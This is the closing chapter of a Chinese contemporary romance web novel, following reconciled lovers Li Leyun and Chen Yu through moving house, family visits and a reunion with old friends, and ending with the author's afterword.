“我希望你不只是在高潮时才会因为我心跳加速……” “你读书读傻了吧。最讨厌你说话文绉绉的,矫情死了。”李乐韵数落他一通后,树袋熊抱树一般抱着他睡着了。 爱到底是什么呢? 李乐韵拒绝一切高谈阔论,在她看来,爱就是陪伴,是一冬一夏一餐一饭, 是“早上好”和“晚安”, 是“我想和你在一起”和“我们永远不分开”。 她的恋爱高需求就是她爱的体现, 她现在一天见不到陈彧就很难受,超过四个小时不跟陈彧联络就会觉得心里缺点什么。 她觉得老古板那套“不在朝朝暮暮”的理论简直就是狗屁。 这天早上陈彧又迟到了,他很后悔为了让李乐韵在赵青青面前为他正名, 夜里付出了太多。 赵青青和顾昀朝他投来意味深长的目光,他顶着他的死人脸最后一个踏进会议室的门。 下午顾昀来送会议纪要,陈彧装作不经意地问他:“赵青青有没有说过喜欢你哪些地方?” “……”顾昀被问住了,这需要说吗? “领导,你不用没有安全感……” “好了,你出去吧。” 李乐韵并不是无心渣女,她还是打算思考一个温暖的回答来抚慰一下她的书呆子。 她发微信问陈彧:你今年一共迟到过几次? 陈彧:? 她写好稿子后,发来一条语音:你以前从来不迟到的,你也从来不睡懒觉,除了备考,你还从来不熬夜,你不喜欢在下面、不喜欢在浴室、做前要洗澡、事后要复盘,你讨厌喝奶茶、讨厌我在你开车的时候亲你、讨厌我在外人面前对你动手动脚……你的禁忌真的好多!可是现在呢,这些好像都被我给打破了。而我从前懒惰、散漫、不爱学习不求上进,自从被你给甩了,我突然脑子抽风,现在很多东西也正在向你靠近。你不是学霸嘛,不如总结一下这是为什么。要我来说,就是我们各自的心理秩序和人生秩序都被对方给打破了,我们为了彼此妥协和改变,这就是爱的渗透……好了六十秒快到了,你品去吧,特地发的是语音,方便你反复聆听学习做笔记,书呆子! 时空穿梭,这何尝不是对那通违心电话的回应呢。后来陈彧真的反复聆听了好多遍. 赶在炎夏来临之前,在田蕾的帮助下,李乐韵和陈彧在浦东找到一个地理位置折中的新房子,开始陆续搬家。 养乐多本来不愿意挪窝,但是姐姐和爸爸又领养了一只小橘去新家陪她,她一下子就心动。小橘是个调皮的妹妹,目前她们俩还算相处融洽。 李乐韵入职了新公司,除了又要记很多类似的英文名字之外,她一切都很适应。她很快就找到了新的饭搭子,新的上司也依然是一位很有野心的女士,她觉得自己的运气真的很好。当然,她也足够努力。 陈彧研究了李乐韵上班的路线后,打算给她买一辆小车,配合她都市丽人的腔调。这天他们去看车,老陈和陈杨也来了。 老陈跟陈杨阴阳怪气道,他的宝马陈彧开了半年,公里数超他们的车三倍,不跑长途能开这么多公里,八成是小李子老折腾他去浦西陪她。现在儿子自己不舍得买新车,钱都用来给女朋友买,这个小李子真是会拿捏人。 陈杨听后就一句话:“以后咱别做那种讨人嫌的公公好吗?” 李乐韵觉得老陈心疼自己儿子的点是有问题的,他是哪只眼睛看见她欺负陈彧了?她阴森森地凑到老陈跟前:“陈叔,听说你之前想让陈彧的领导给他介绍个上海本地的女朋友来着,那我悄悄告诉你哈,女方家庭条件稍微好点的,陈彧这样的进门之后就是赘婿……” “你啥意思?我儿子是哪点不如人?” “我没什么意思,就是想告诉您,陈彧跟了我,起码我跟他两个人是平等的。” 老陈觉得她惯会花言巧语,轻哼一声,“乐韵啊,你要是真聪明,就不要只管陈彧一个人,你什么时候能拿捏你们家李老师,那才算是真本事。陈彧心疼你,你也要心疼他啊对不对。” “那您放心,陈彧只能被我一个人欺负。”李乐韵心想,当年你不在青阳,陈彬彬那个狗东西可都是我打的。 老陈听见“欺负”这两个字就头疼,愈发觉得陈彧这么多年的书都白读了,到头来还是玩不过当年那个一练毛笔字就犯困的小丫头片子。 新车提到手后,搬家这个大工程也终于搞定。赵青青和顾昀来暖房,四个人一起做了一顿饭。李乐韵和陈彧这才发现,顾昀竟然是个厨艺高手。 李乐韵对陈彧啧嘴道:“看见没,青青一点也不傻。这年头哪还有傻姑娘啊,反倒是你们男的,明明一个两个都不咋地,但人倒是挺自信。” “我自信吗?”陈彧轻嗤。 “很自信啊,不然为什么当初先追我的是你,甩我的是你,而后来求和好的却是我呢。” “李小姐,旧账到底要翻多少遍才能善罢甘休?你不是自诩宽容大度善解人意的嘛。” “啵”一下,李乐韵踮脚亲了陈彧一口。理论不过的时候就使用魔法攻击,这一招非常好用。 “你这句话重说吧。”李乐韵对陈彧眨一下眼睛。 陈彧心里“呵呵”两声,露出虚伪的笑容,“谢谢你,你真好。感谢你给我将功赎罪的机会。” 李乐韵耸耸肩膀,“假话就是比真话好听。”. 夏末李乐韵的catti成绩出炉,二笔低分飘过,二口差一口气,这个成绩在她意料之中,除了有些后悔跳过三口直接考二口,别的她都能接受。 她嘴上说着不想努力,却在每一次重要考试上竭尽全力。天赋如此,尽力就好,人生的考试真的太多太多了,她才不要内耗。 陈彧问她明年还打算继续考吗,她说看心情。她现在所拥有的证书对她目前的工作来说已经完全够用了。书本上的学习是一回事,在职场里提升实践经验也同样重要。 每一个清晨,陈彧都会目送李乐韵的车先驶离小区,他们工作日的早上总是很匆忙,精致的李小姐要化妆要挑衣服,还要问他的建议,而他需要做早餐、给李小姐准备小零食,以及熨烫前一晚上没来得及熨好的衬衣。 陈彧出差和应酬依然很多,偶尔微醺着回家,会担忧地问李乐韵,她会不会不喜欢这个越来越世俗的男人了,李乐韵也找不到破局的办法,但是会安慰他,说自己依然没有学会理财和算账,陈老师也并不会责备她花钱大手大脚,他们就先学会互相包容吧。 至于未来又会变成什么样的人,会过什么样的生活,大原则框定在那里,他们只要互相扶持着迈过那些生活的褶皱,彼此的手不松开,最终的归途就一定是明亮的。 世俗的生活里也可以有纯真的爱。 十一假期,赶在检察院职工宿舍和那道矮院墙拆掉之前,李乐韵和陈彧回了趟青阳。 “老槐树不会也挪走吧。”李乐韵非常在乎这件事情。 得到不会挪走的回答后,她放下心来。 江晴问:“你们俩就为了这件事回来?” “当然不是啊,我回自己家还需要找理由嘛。” 李修文睨了李乐韵一眼,问陈彧:“你后来每次回来都住在外面的酒店?” 陈彧这次也没有着落,他只能住酒店。 江晴说:“家里的客房给你收拾出来了。” 陈彧看向李乐韵,李乐韵耸耸肩膀:“这可不是我交代的。得亏我们家是三室,否则你还是得去住酒店。” 李修文还是会过问他们俩的工作情况和生活状态。之前听说李乐韵跳槽和两人搬家的事时,也发表了一些他自认为很关键的建议。 江晴让李乐韵和陈彧该听的听,听的难受的部分就选择性遗忘,总之,他们俩不会完全按照长辈们的期许去经营自己的人生,顽固的李老师也不会轻易改变他爱子女的方式。大家互相理解吧。 江晴又说,陈彧本来就是李老师的心头好,现在过了那个不适应身份转换的阶段,又考察了他大半年之后,已经将他看成是自家孩子了。 自家孩子才可以留宿,但也只是留宿,李老师还是见不得他们俩腻歪在一起。 晚上两个人安顿好后,最近在娘家住的许竹莹来找他们玩。 李乐韵蹙眉盯着许竹莹的肚子,“怎么搬回来了?怀上了?”她一点也不希望许竹莹违背自己的意愿去生孩子。 许竹莹哼笑一声,“肚子里都是晚上我妈包的饺子,我是在跟吴耀文叫板呢。” “那跑回娘家有用吗?”李乐韵问。 “不知道,管他的呢。” 这话说完没多久,吴耀文就带了一包许竹莹的厚外套来了家属院。传统的男人脸色不悦,也不催“叛逆”的老婆回家,却很担心老婆换季降温没有厚衣服穿。 李乐韵跟陈彧说:“看吧,没有完美的婚姻,也没有完美的爱情。” 但是聪明的人类会尝试趋近圆满的方式去经营波折的人生。 “你觉得我聪明吗?”陈彧问李乐韵。 “还行吧。” “只是还行?” “还行就够用了,继续努力吧小陈。” 几个年轻人去到老槐树下,许竹莹提议给乔令打个视频。等待乔令接听的时候,许竹莹跟他们说,舒羽的小孩都快上幼儿园了,而乔令还一直单身。 视频接通,在墨尔本工作的乔令已经准备要睡觉,看见陈彧紧紧搂着李乐韵,啧啧嘴道:“陈彧哥,还是你深藏不露啊。你们俩什么时候结婚?到时候一定要提前告诉我。” “喂!我结婚你怎么不回来?”许竹莹听见这话不高兴了。 乔令看了眼眉头紧锁的吴耀文,说:“我又不认识你老公。陈彧哥和乐韵可都是咱们自己人。” “你就是偏心!” “你是姐姐乐韵是妹妹,哥哥当然更疼妹妹啦。”这是乔令的玩笑话,实际上,许竹莹结婚他也是想回来的,可那阵子他实在是请不到假。 李乐韵问乔令:“什么时候再一起旅行啊?” 陈彧真想拧断这个女人的脖子。挪开视线,看向墙的另一边,当年,这个傻姑娘就是站在那里,抱着他,为了视频里的这个男人掉眼泪。 当时他的心跟她一样疼。 结束跟乔令的视频通话后,陈彧不知道李乐韵跟许竹莹嘀咕了一句什么,许竹莹突然问他:“你们俩是分过一次手,对吗?” 陈彧是真不喜欢谈这件事情。 许竹莹又问:“那你知不知道乐韵很伤心?” 陈彧刚要点头,许竹莹接着说道:“她在电话里跟我哭了一个小时。从小到大,我从来没见过她哭。” 后面的数落陈彧都听不进去了,他看着李乐韵得意洋洋的脸,心想,你可真傻,你真是太傻了,你一点也不聪明。 许竹莹数落完就带着吴耀文走了,李乐韵伸手在陈彧的面前打了个响指,“真没意思,你的反应竟然这么平淡。” 陈彧一把将这个傻姑娘抱紧,把她的脑袋用力地按在他的心脏上。他现在满脑子都是她煎东西时的声音,那是心脏焦灼的感觉。 李乐韵听见了陈彧特别快的心跳。 她忽然有些担心,他不会心梗吧?那就先不要告诉他,她其实不只在打给许竹莹的电话里哭了一个小时,她其实还哭了好几个星期,她还为他生过一场病…… 日子还长着呢,等待着脆弱小陈的还有许多许多个热油烹心的时刻。 那就是他一直想要她表达的爱情的滋味啊。 她怎么可能不爱他呢。 就冲着她手里还有那么多让他俯首称臣的“筹码”,她也会永远跟他在一起。 而他,一颗心被她紧紧地攥在掌心,他逃不掉,也不想逃。 从小到大,他的小师妹一直掌管着他的心跳。 他想,他们会一直这样到老- end—— 作者有话说:正文完,番外明天起晚八日更~ 谢谢大家喜欢李乐乐同学和小干部陈工,你们有趣的段评和章评给生病的我带来了好多好多的欢乐和治愈。 我过去写过好几个破镜重圆的故事,基调好像都很“重”,今年特别想尝试写一个轻巧一点温暖一点的破镜重圆,希望自己做到了,更希望你们看文开心。 下个故事《魔法乐园》再见啦,届时依然会带着全文存稿来陪您度过美好时光,爱你们!亲亲所有人!《 》